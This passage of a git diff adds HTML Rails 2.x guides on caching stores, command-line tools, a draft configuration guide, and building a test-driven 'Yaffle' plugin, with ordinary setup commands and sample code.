+  cache_sweeper :store_sweeper, :only => [ :create ]
+
+  def list
+    # Run a find query
+    Product.find(:all)
+
+    ...
+
+    # Run the same query again
+    Product.find(:all)
+  end
+
+  def create
+    expire_page :action => :list
+    expire_action :action => :edit
+  end
+
+  def edit; end
+
+end
+
+

In the list action above, the result set returned by the first +Product.find(:all) will be cached and will be used to avoid querying the +database again the second time that finder is called.

+

Query caches are created at the start of an action and destroyed at the end of +that action and thus persist only for the duration of the action.

+

1.6. Cache stores

+

Rails provides different stores for the cached data for action and fragment +caches. Page caches are always stored on disk.

+

The cache stores provided include:

+

1) Memory store: Cached data is stored in the memory allocated to the Rails + process, which is fine for WEBrick and for FCGI (if you + don't care that each FCGI process holds its own fragment + store). It's not suitable for CGI as the process is thrown + away at the end of each request. It can potentially also + take up a lot of memory since each process keeps all the + caches in memory.

+
+
+
ActionController::Base.cache_store = :memory_store
+
+

2) File store: Cached data is stored on the disk, this is the default store + and the default path for this store is: /tmp/cache. Works + well for all types of environments and allows all processes + running from the same application directory to access the + cached content.

+
+
+
ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
+
+

3) DRb store: Cached data is stored in a separate shared DRb process that all + servers communicate with. This works for all environments and + only keeps one cache around for all processes, but requires + that you run and manage a separate DRb process.

+
+
+
ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
+
+

4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead. + Requires the ruby-memcache library: + gem install ruby-memcache.

+
+
+
ActionController::Base.cache_store = :mem_cache_store, "localhost"
+
+

5) Custom store: You can define your own cache store (new in Rails 2.1)

+
+
+
ActionController::Base.cache_store = MyOwnStore.new("parameter")
+
+
+

2. Advanced Caching

+
+

Along with the built-in mechanisms outlined above, a number of excellent +plugins exist to help with finer grained control over caching. These include +Chris Wanstrath's excellent cache_fu plugin (more info here: +http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's +interlock plugin (more info here: +http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both +of these plugins play nice with memcached and are a must-see for anyone +seriously considering optimizing their caching needs.

+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/command_line.html b/vendor/rails/railties/doc/guides/html/command_line.html new file mode 100644 index 00000000..f92cc21a --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/command_line.html @@ -0,0 +1,434 @@ + + + + + A Guide to The Rails Command Line + + + + + + + + + +
+ + + +
+

A Guide to The Rails Command Line

+
+
+

Rails comes with every command line tool you'll need to

+
    +
  • +

    +Create a Rails application +

    +
  • +
  • +

    +Generate models, controllers, database migrations, and unit tests +

    +
  • +
  • +

    +Start a development server +

    +
  • +
  • +

    +Mess with objects through an interactive shell +

    +
  • +
  • +

    +Profile and benchmark your new creation +

    +
  • +
+

… and much, much more! (Buy now!)

+

This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.

+
+
+

1. Command Line Basics

+
+

There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:

+
    +
  • +

    +console +

    +
  • +
  • +

    +server +

    +
  • +
  • +

    +rake +

    +
  • +
  • +

    +generate +

    +
  • +
  • +

    +rails +

    +
  • +
+

Let's create a simple Rails application to step through each of these commands in context.

+

1.1. rails

+

The first thing we'll want to do is create a new Rails application by running the rails command after installing Rails.

+
+ + + +
+Note +You know you need the rails gem installed by typing gem install rails first, right? Okay, okay, just making sure.
+
+
+
+
$ rails commandsapp
+
+     create
+     create  app/controllers
+     create  app/helpers
+     create  app/models
+     ...
+     ...
+     create  log/production.log
+     create  log/development.log
+     create  log/test.log
+
+

Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.

+
+ + + +
+Note +This output will seem very familiar when we get to the generate command. Creepy foreshadowing!
+
+

1.2. server

+

Let's try it! The server command launches a small web server written in Ruby named WEBrick which was also installed when you installed Rails. You'll use this any time you want to view your work through a web browser.

+
+ + + +
+Note +WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section]
+
+

Here we'll flex our server command, which without any prodding of any kind will run our new shiny Rails app:

+
+
+
$ cd commandsapp
+$ ./script/server
+=> Booting WEBrick...
+=> Rails 2.2.0 application started on http://0.0.0.0:3000
+=> Ctrl-C to shutdown server; call with --help for options
+[2008-11-04 10:11:38] INFO  WEBrick 1.3.1
+[2008-11-04 10:11:38] INFO  ruby 1.8.5 (2006-12-04) [i486-linux]
+[2008-11-04 10:11:38] INFO  WEBrick::HTTPServer#start: pid=18994 port=3000
+
+

WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait.

+

See? Cool! It doesn't do much yet, but we'll change that.

+

1.3. generate

+

The generate command uses templates to create a whole lot of things. You can always find out what's available by running generate by itself. Let's do that:

+
+
+
$ ./script/generate
+Usage: ./script/generate generator [options] [args]
+
+...
+...
+
+Installed Generators
+  Builtin: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration
+
+...
+...
+
+
+ + + +
+Note +You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+

Using generators will save you a large amount of time by writing boilerplate code for you — necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?

+

Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:

+
+ + + +
+Note +All Rails console utilities have help text. For commands that require a lot of input to run correctly, you can just try the command without any parameters (like rails or ./script/generate). For others, you can try adding —help or -h to the end, as in ./script/server —help.
+
+
+
+
$ ./script/generate controller
+Usage: ./script/generate controller ControllerName [options]
+
+...
+...
+
+Example:
+    `./script/generate controller CreditCard open debit credit close`
+
+    Credit card controller with URLs like /credit_card/debit.
+        Controller: app/controllers/credit_card_controller.rb
+        Views:      app/views/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/credit_card_helper.rb
+        Test:       test/functional/credit_card_controller_test.rb
+
+Modules Example:
+    `./script/generate controller 'admin/credit_card' suspend late_fee`
+
+    Credit card admin controller with URLs /admin/credit_card/suspend.
+        Controller: app/controllers/admin/credit_card_controller.rb
+        Views:      app/views/admin/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/admin/credit_card_helper.rb
+        Test:       test/functional/admin/credit_card_controller_test.rb
+
+

Ah, the controller generator is expecting parameters in the form of generate controller ControllerName action1 action2. Let's make a Greetings controller with an action of hello, which will say something nice to us.

+
+
+
$ ./script/generate controller Greeting hello
+     exists  app/controllers/
+     exists  app/helpers/
+     create  app/views/greeting
+     exists  test/functional/
+     create  app/controllers/greetings_controller.rb
+     create  test/functional/greetings_controller_test.rb
+     create  app/helpers/greetings_helper.rb
+     create  app/views/greetings/hello.html.erb
+
+

Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. All from one command!

+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/configuring.html b/vendor/rails/railties/doc/guides/html/configuring.html new file mode 100644 index 00000000..d64cbe1b --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/configuring.html @@ -0,0 +1,438 @@ + + + + + Configuring Rails Applications + + + + + + + + + +
+ + + +
+

Configuring Rails Applications

+
+
+

This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:

+
    +
  • +

    +Adjust the behavior of your Rails applications +

    +
  • +
  • +

    +Add additional code to be run at application start time +

    +
  • +
+
+
+

1. Locations for Initialization Code

+
+

preinitializers +environment.rb first +env-specific files +initializers (load_application_initializers) +after-initializer

+
+

2. Using a Preinitializer

+
+
+

3. Configuring Rails Components

+
+

3.1. Configuring Active Record

+

3.2. Configuring Action Controller

+

3.3. Configuring Action View

+

3.4. Configuring Action Mailer

+

3.5. Configuring Active Resource

+

3.6. Configuring Active Support

+
+

4. Using Initializers

+
+
+
+
organization, controlling load order
+
+
+

5. Using an After-Initializer

+
+
+

6. Changelog

+
+ +
+

actionmailer/lib/action_mailer/base.rb +257: cattr_accessor :logger +267: cattr_accessor :smtp_settings +273: cattr_accessor :sendmail_settings +276: cattr_accessor :raise_delivery_errors +282: cattr_accessor :perform_deliveries +285: cattr_accessor :deliveries +288: cattr_accessor :default_charset +291: cattr_accessor :default_content_type +294: cattr_accessor :default_mime_version +297: cattr_accessor :default_implicit_parts_order +299: cattr_reader :protected_instance_variables

+

actionmailer/Rakefile +36: rdoc.options << —line-numbers << —inline-source << -A cattr_accessor=object

+

actionpack/lib/action_controller/base.rb +263: cattr_reader :protected_instance_variables +273: cattr_accessor :asset_host +279: cattr_accessor :consider_all_requests_local +285: cattr_accessor :allow_concurrency +317: cattr_accessor :param_parsers +321: cattr_accessor :default_charset +325: cattr_accessor :logger +329: cattr_accessor :resource_action_separator +333: cattr_accessor :resources_path_names +337: cattr_accessor :request_forgery_protection_token +341: cattr_accessor :optimise_named_routes +351: cattr_accessor :use_accept_header +361: cattr_accessor :relative_url_root

+

actionpack/lib/action_controller/caching/pages.rb +55: cattr_accessor :page_cache_directory +58: cattr_accessor :page_cache_extension

+

actionpack/lib/action_controller/caching.rb +37: cattr_reader :cache_store +48: cattr_accessor :perform_caching

+

actionpack/lib/action_controller/dispatcher.rb +98: cattr_accessor :error_file_path

+

actionpack/lib/action_controller/mime_type.rb +24: cattr_reader :html_types, :unverifiable_types

+

actionpack/lib/action_controller/rescue.rb +36: base.cattr_accessor :rescue_responses +40: base.cattr_accessor :rescue_templates

+

actionpack/lib/action_controller/session/active_record_store.rb +60: cattr_accessor :data_column_name +170: cattr_accessor :connection +173: cattr_accessor :table_name +177: cattr_accessor :session_id_column +181: cattr_accessor :data_column +282: cattr_accessor :session_class

+

actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb +44: cattr_accessor :included_tags, :instance_writer ⇒ false

+

actionpack/lib/action_view/base.rb +189: cattr_accessor :debug_rjs +193: cattr_accessor :warn_cache_misses

+

actionpack/lib/action_view/helpers/active_record_helper.rb +7: cattr_accessor :field_error_proc

+

actionpack/lib/action_view/helpers/form_helper.rb +805: cattr_accessor :default_form_builder

+

actionpack/lib/action_view/template_handlers/erb.rb +47: cattr_accessor :erb_trim_mode

+

actionpack/test/active_record_unit.rb +5: cattr_accessor :able_to_connect +6: cattr_accessor :connected

+

actionpack/test/controller/filters_test.rb +286: cattr_accessor :execution_log

+

actionpack/test/template/form_options_helper_test.rb +3:TZInfo::Timezone.cattr_reader :loaded_zones

+

activemodel/lib/active_model/errors.rb +28: cattr_accessor :default_error_messages

+

activemodel/Rakefile +19: rdoc.options << —line-numbers << —inline-source << -A cattr_accessor=object

+

activerecord/lib/active_record/attribute_methods.rb +9: base.cattr_accessor :attribute_types_cached_by_default, :instance_writer ⇒ false +11: base.cattr_accessor :time_zone_aware_attributes, :instance_writer ⇒ false

+

activerecord/lib/active_record/base.rb +394: cattr_accessor :logger, :instance_writer ⇒ false +443: cattr_accessor :configurations, :instance_writer ⇒ false +450: cattr_accessor :primary_key_prefix_type, :instance_writer ⇒ false +456: cattr_accessor :table_name_prefix, :instance_writer ⇒ false +461: cattr_accessor :table_name_suffix, :instance_writer ⇒ false +467: cattr_accessor :pluralize_table_names, :instance_writer ⇒ false +473: cattr_accessor :colorize_logging, :instance_writer ⇒ false +478: cattr_accessor :default_timezone, :instance_writer ⇒ false +487: cattr_accessor :schema_format , :instance_writer ⇒ false +491: cattr_accessor :timestamped_migrations , :instance_writer ⇒ false

+

activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb +11: cattr_accessor :connection_handler, :instance_writer ⇒ false

+

activerecord/lib/active_record/connection_adapters/mysql_adapter.rb +166: cattr_accessor :emulate_booleans

+

activerecord/lib/active_record/fixtures.rb +498: cattr_accessor :all_loaded_fixtures

+

activerecord/lib/active_record/locking/optimistic.rb +38: base.cattr_accessor :lock_optimistically, :instance_writer ⇒ false

+

activerecord/lib/active_record/migration.rb +259: cattr_accessor :verbose

+

activerecord/lib/active_record/schema_dumper.rb +13: cattr_accessor :ignore_tables

+

activerecord/lib/active_record/serializers/json_serializer.rb +4: base.cattr_accessor :include_root_in_json, :instance_writer ⇒ false

+

activerecord/Rakefile +142: rdoc.options << —line-numbers << —inline-source << -A cattr_accessor=object

+

activerecord/test/cases/lifecycle_test.rb +61: cattr_reader :last_inherited

+

activerecord/test/cases/mixin_test.rb +9: cattr_accessor :forced_now_time

+

activeresource/lib/active_resource/base.rb +206: cattr_accessor :logger

+

activeresource/Rakefile +43: rdoc.options << —line-numbers << —inline-source << -A cattr_accessor=object

+

activesupport/lib/active_support/buffered_logger.rb +17: cattr_accessor :silencer

+

activesupport/lib/active_support/cache.rb +81: cattr_accessor :logger

+

activesupport/lib/active_support/core_ext/class/attribute_accessors.rb +5:# cattr_accessor :hair_colors +10: def cattr_reader(*syms) +29: def cattr_writer(*syms) +50: def cattr_accessor(*syms) +51: cattr_reader(*syms) +52: cattr_writer(*syms)

+

activesupport/lib/active_support/core_ext/logger.rb +34: cattr_accessor :silencer

+

activesupport/test/core_ext/class/attribute_accessor_test.rb +6: cattr_accessor :foo +7: cattr_accessor :bar, :instance_writer ⇒ false

+

activesupport/test/core_ext/module/synchronization_test.rb +6: @target.cattr_accessor :mutex, :instance_writer ⇒ false

+

railties/doc/guides/html/creating_plugins.html +786: cattr_accessor <span style="color: #990000">:</span>yaffle_text_field<span style="color: #990000">,</span> <span style="color: #990000">:</span>yaffle_date_field +860: cattr_accessor <span style="color: #990000">:</span>yaffle_text_field<span style="color: #990000">,</span> <span style="color: #990000">:</span>yaffle_date_field

+

railties/lib/rails_generator/base.rb +93: cattr_accessor :logger

+

railties/Rakefile +265: rdoc.options << —line-numbers << —inline-source << —accessor << cattr_accessor=object

+

railties/test/rails_info_controller_test.rb +12: cattr_accessor :local_request

+

Rakefile +32: rdoc.options << -A cattr_accessor=object

+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/creating_plugins.html b/vendor/rails/railties/doc/guides/html/creating_plugins.html new file mode 100644 index 00000000..406ddca6 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/creating_plugins.html @@ -0,0 +1,1594 @@ + + + + + The Basics of Creating Rails Plugins + + + + + + + + + +
+ + + +
+

The Basics of Creating Rails Plugins

+
+
+

A Rails plugin is either an extension or a modification of the core framework. Plugins provide:

+
    +
  • +

    +a way for developers to share bleeding-edge ideas without hurting the stable code base +

    +
  • +
  • +

    +a segmented architecture so that units of code can be fixed or updated on their own release schedule +

    +
  • +
  • +

    +an outlet for the core developers so that they don’t have to include every cool new feature under the sun +

    +
  • +
+

After reading this guide you should be familiar with:

+
    +
  • +

    +Creating a plugin from scratch +

    +
  • +
  • +

    +Writing and running tests for the plugin +

    +
  • +
  • +

    +Storing models, views, controllers, helpers and even other plugins in your plugins +

    +
  • +
  • +

    +Writing generators +

    +
  • +
  • +

    +Writing custom Rake tasks in your plugin +

    +
  • +
  • +

    +Generating RDoc documentation for your plugin +

    +
  • +
  • +

    +Avoiding common pitfalls with init.rb +

    +
  • +
+

This guide describes how to build a test-driven plugin that will:

+
    +
  • +

    +Extend core ruby classes like Hash and String +

    +
  • +
  • +

    +Add methods to ActiveRecord::Base in the tradition of the acts_as plugins +

    +
  • +
  • +

    +Add a view helper that can be used in erb templates +

    +
  • +
  • +

    +Add a new generator that will generate a migration +

    +
  • +
  • +

    +Add a custom generator command +

    +
  • +
  • +

    +A custom route method that can be used in routes.rb +

    +
  • +
+

For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development.

+
+
+

1. Preparation

+
+

1.1. Create the basic app

+

The examples in this guide require that you have a working rails application. To create a simple rails app execute:

+
+
+
gem install rails
+rails yaffle_guide
+cd yaffle_guide
+script/generate scaffold bird name:string
+rake db:migrate
+script/server
+
+

Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing.

+
+ + + +
+Note + +
Editor's note:
The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs.
+
+

1.2. Generate the plugin skeleton

+

Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either CamelCased or under_scored, as an argument. Pass --with-generator to add an example generator also.

+

This creates a plugin in vendor/plugins including an init.rb and README as well as standard lib, task, and test directories.

+

Examples:

+
+
+
./script/generate plugin yaffle
+./script/generate plugin yaffle --with-generator
+
+

To get more detailed help on the plugin generator, type ./script/generate plugin.

+

Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the --with-generator option now:

+
+
+
./script/generate plugin yaffle --with-generator
+
+

You should see the following output:

+
+
+
create  vendor/plugins/yaffle/lib
+create  vendor/plugins/yaffle/tasks
+create  vendor/plugins/yaffle/test
+create  vendor/plugins/yaffle/README
+create  vendor/plugins/yaffle/MIT-LICENSE
+create  vendor/plugins/yaffle/Rakefile
+create  vendor/plugins/yaffle/init.rb
+create  vendor/plugins/yaffle/install.rb
+create  vendor/plugins/yaffle/uninstall.rb
+create  vendor/plugins/yaffle/lib/yaffle.rb
+create  vendor/plugins/yaffle/tasks/yaffle_tasks.rake
+create  vendor/plugins/yaffle/test/core_ext_test.rb
+create  vendor/plugins/yaffle/generators
+create  vendor/plugins/yaffle/generators/yaffle
+create  vendor/plugins/yaffle/generators/yaffle/templates
+create  vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
+create  vendor/plugins/yaffle/generators/yaffle/USAGE
+
+

To begin just change one thing - move init.rb to rails/init.rb.

+

1.3. Setup the plugin for testing

+

If your plugin interacts with a database, you'll need to setup a database connection. In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. This guide will not cover how to use fixtures in plugin tests.

+

To setup your plugin to allow for easy testing you'll need to add 3 files:

+
    +
  • +

    +A database.yml file with all of your connection strings +

    +
  • +
  • +

    +A schema.rb file with your table definitions +

    +
  • +
  • +

    +A test helper method that sets up the database +

    +
  • +
+

vendor/plugins/yaffle/test/database.yml:

+
+
+
sqlite:
+  :adapter: sqlite
+  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
+
+sqlite3:
+  :adapter: sqlite3
+  :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
+
+postgresql:
+  :adapter: postgresql
+  :username: postgres
+  :password: postgres
+  :database: yaffle_plugin_test
+  :min_messages: ERROR
+
+mysql:
+  :adapter: mysql
+  :host: localhost
+  :username: root
+  :password: password
+  :database: yaffle_plugin_test
+
+

For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:

+

vendor/plugins/yaffle/test/schema.rb:

+
+
+
ActiveRecord::Schema.define(:version => 0) do
+  create_table :hickwalls, :force => true do |t|
+    t.string :name
+    t.string :last_squawk
+    t.datetime :last_squawked_at
+  end
+  create_table :wickwalls, :force => true do |t|
+    t.string :name
+    t.string :last_tweet
+    t.datetime :last_tweeted_at
+  end
+  create_table :woodpeckers, :force => true do |t|
+    t.string :name
+  end
+end
+
+

vendor/plugins/yaffle/test/test_helper.rb:

+
+
+
ENV['RAILS_ENV'] = 'test'
+ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..'
+
+require 'test/unit'
+require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb'))
+
+def load_schema
+  config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))
+  ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log")
+
+  db_adapter = ENV['DB']
+
+  # no db passed, try one of these fine config-free DBs before bombing.
+  db_adapter ||=
+    begin
+      require 'rubygems'
+      require 'sqlite'
+      'sqlite'
+    rescue MissingSourceFile
+      begin
+        require 'sqlite3'
+        'sqlite3'
+      rescue MissingSourceFile
+      end
+    end
+
+  if db_adapter.nil?
+    raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."
+  end
+
+  ActiveRecord::Base.establish_connection(config[db_adapter])
+  load(File.dirname(__FILE__) + "/schema.rb")
+  require File.dirname(__FILE__) + '/../rails/init.rb'
+end
+
+

Now whenever you write a test that requires the database, you can call load_schema.

+

1.4. Run the plugin tests

+

Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in vendor/plugins/yaffle/test/yaffle_test.rb with a sample test. Replace the contents of that file with:

+

vendor/plugins/yaffle/test/yaffle_test.rb:

+
+
+
require File.dirname(__FILE__) + '/test_helper.rb'
+
+class YaffleTest < Test::Unit::TestCase
+  load_schema
+
+  class Hickwall < ActiveRecord::Base
+  end
+
+  class Wickwall < ActiveRecord::Base
+  end
+
+  def test_schema_has_loaded_correctly
+    assert_equal [], Hickwall.all
+    assert_equal [], Wickwall.all
+  end
+
+end
+
+

To run this, go to the plugin directory and run rake:

+
+
+
cd vendor/plugins/yaffle
+rake
+
+

You should see output like:

+
+
+
/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
+-- create_table(:hickwalls, {:force=>true})
+   -> 0.0220s
+-- create_table(:wickwalls, {:force=>true})
+   -> 0.0077s
+-- initialize_schema_migrations_table()
+   -> 0.0007s
+-- assume_migrated_upto_version(0)
+   -> 0.0007s
+Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
+Started
+.
+Finished in 0.002236 seconds.
+
+1 test, 1 assertion, 0 failures, 0 errors
+
+

By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:

+
+
+
rake DB=sqlite
+rake DB=sqlite3
+rake DB=mysql
+rake DB=postgresql
+
+

Now you are ready to test-drive your plugin!

+
+

2. Extending core classes

+
+

This section will explain how to add a method to String that will be available anywhere in your rails app by:

+
    +
  • +

    +Writing tests for the desired behavior +

    +
  • +
  • +

    +Creating and requiring the correct files +

    +
  • +
+

2.1. Creating the test

+

In this example you will add a method to String named to_squawk. To begin, create a new test file with a few assertions:

+

vendor/plugins/yaffle/test/core_ext_test.rb

+
+
+
require File.dirname(__FILE__) + '/test_helper.rb'
+
+class CoreExtTest < Test::Unit::TestCase
+  def test_to_squawk_prepends_the_word_squawk
+    assert_equal "squawk! Hello World", "Hello World".to_squawk
+  end
+end
+
+

Navigate to your plugin directory and run rake test:

+
+
+
cd vendor/plugins/yaffle
+rake test
+
+

The test above should fail with the message:

+
+
+
 1) Error:
+test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+NoMethodError: undefined method `to_squawk' for "Hello World":String
+    ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+
+

Great - now you are ready to start development.

+

2.2. Organize your files

+

A common pattern in rails plugins is to set up the file structure like this:

+
+
+
|-- lib
+|   |-- yaffle
+|   |   `-- core_ext.rb
+|   `-- yaffle.rb
+
+

The first thing we need to to is to require our lib/yaffle.rb file from rails/init.rb:

+

vendor/plugins/yaffle/rails/init.rb

+
+
+
require 'yaffle'
+
+

Then in lib/yaffle.rb require lib/core_ext.rb:

+

vendor/plugins/yaffle/lib/yaffle.rb

+
+
+
require "yaffle/core_ext"
+
+

Finally, create the core_ext.rb file and add the to_squawk method:

+

vendor/plugins/yaffle/lib/yaffle/core_ext.rb

+
+
+
String.class_eval do
+  def to_squawk
+    "squawk! #{self}".strip
+  end
+end
+
+

To test that your method does what it says it does, run the unit tests with rake from your plugin directory. To see this in action, fire up a console and start squawking:

+
+
+
$ ./script/console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+
+

2.3. Working with init.rb

+

When rails loads plugins it looks for the file named init.rb. However, when the plugin is initialized, init.rb is invoked via eval (not require) so it has slightly different behavior.

+

Under certain circumstances if you reopen classes or modules in init.rb you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from init.rb, as shown above.

+

If you must reopen a class in init.rb you can use module_eval or class_eval to avoid any issues:

+

vendor/plugins/yaffle/init.rb

+
+
+
Hash.class_eval do
+  def is_a_special_hash?
+    true
+  end
+end
+
+

Another way is to explicitly define the top-level module space for all modules and classes, like ::Hash:

+

vendor/plugins/yaffle/init.rb

+
+
+
class ::Hash
+  def is_a_special_hash?
+    true
+  end
+end
+
+
+

3. Add an acts_as_yaffle method to Active Record

+
+

A common pattern in plugins is to add a method called acts_as_something to models. In this case, you want to write a method called acts_as_yaffle that adds a squawk method to your models.

+

To begin, set up your files so that you have:

+

vendor/plugins/yaffle/test/acts_as_yaffle_test.rb

+
+
+
require File.dirname(__FILE__) + '/test_helper.rb'
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+end
+
+

vendor/plugins/yaffle/lib/yaffle.rb

+
+
+
require 'yaffle/acts_as_yaffle'
+
+

vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb

+
+
+
module Yaffle
+  # your code will go here
+end
+
+

Note that after requiring acts_as_yaffle you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.

+

One of the most common plugin patterns for acts_as_yaffle plugins is to structure your file like so:

+

vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb

+
+
+
module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    # any method placed here will apply to classes, like Hickwall
+    def acts_as_something
+      send :include, InstanceMethods
+    end
+  end
+
+  module InstanceMethods
+    # any method placed here will apply to instaces, like @hickwall
+  end
+end
+
+

With structure you can easily separate the methods that will be used for the class (like Hickwall.some_method) and the instance (like @hickwell.some_method).

+

3.1. Add a class method

+

This plugin will expect that you've added a method to your model named last_squawk. However, the plugin users might have already defined a method on their model named last_squawk that they use for something else. This plugin will allow the name to be changed by adding a class method called yaffle_text_field.

+

To start out, write a failing test that shows the behavior you'd like:

+

vendor/plugins/yaffle/test/acts_as_yaffle_test.rb

+
+
+
require File.dirname(__FILE__) + '/test_helper.rb'
+
+class Hickwall < ActiveRecord::Base
+  acts_as_yaffle
+end
+
+class Wickwall < ActiveRecord::Base
+  acts_as_yaffle :yaffle_text_field => :last_tweet
+end
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+  load_schema
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+end
+
+

To make these tests pass, you could modify your acts_as_yaffle file like so:

+

vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb

+
+
+
module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    def acts_as_yaffle(options = {})
+      cattr_accessor :yaffle_text_field
+      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+
+

3.2. Add an instance method

+

This plugin will add a method named squawk to any Active Record objects that call acts_as_yaffle. The squawk method will simply set the value of one of the fields in the database.

+

To start out, write a failing test that shows the behavior you'd like:

+

vendor/plugins/yaffle/test/acts_as_yaffle_test.rb

+
+
+
require File.dirname(__FILE__) + '/test_helper.rb'
+
+class Hickwall < ActiveRecord::Base
+  acts_as_yaffle
+end
+
+class Wickwall < ActiveRecord::Base
+  acts_as_yaffle :yaffle_text_field => :last_tweet
+end
+
+class ActsAsYaffleTest < Test::Unit::TestCase
+  load_schema
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+
+  def test_hickwalls_squawk_should_populate_last_squawk
+    hickwall = Hickwall.new
+    hickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", hickwall.last_squawk
+  end
+
+  def test_wickwalls_squawk_should_populate_last_tweeted_at
+    wickwall = Wickwall.new
+    wickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", wickwall.last_tweet
+  end
+end
+
+

Run this test to make sure the last two tests fail, then update acts_as_yaffle.rb to look like this:

+

vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb

+
+
+
module Yaffle
+  def self.included(base)
+    base.send :extend, ClassMethods
+  end
+
+  module ClassMethods
+    def acts_as_yaffle(options = {})
+      cattr_accessor :yaffle_text_field
+      self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+      send :include, InstanceMethods
+    end
+  end
+
+  module InstanceMethods
+    def squawk(string)
+      write_attribute(self.class.yaffle_text_field, string.to_squawk)
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle
+
+
+ + + +
+Note + +
Editor's note:
The use of write_attribute to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use send("#{self.class.yaffle_text_field}=", string.to_squawk).
+
+
+

4. Create a generator

+
+

Many plugins ship with generators. When you created the plugin above, you specified the —with-generator option, so you already have the generator stubs in vendor/plugins/yaffle/generators/yaffle.

+

Building generators is a complex topic unto itself and this section will cover one small aspect of generators: creating a generator that adds a time-stamped migration.

+

To create a generator you must:

+
    +
  • +

    +Add your instructions to the manifest method of the generator +

    +
  • +
  • +

    +Add any necessary template files to the templates directory +

    +
  • +
  • +

    +Test the generator manually by running various combinations of script/generate and script/destroy +

    +
  • +
  • +

    +Update the USAGE file to add helpful documentation for your generator +

    +
  • +
+

4.1. Testing generators

+

Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following:

+
    +
  • +

    +Creates a new fake rails root directory that will serve as destination +

    +
  • +
  • +

    +Runs the generator forward and backward, making whatever assertions are necessary +

    +
  • +
  • +

    +Removes the fake rails root +

    +
  • +
+

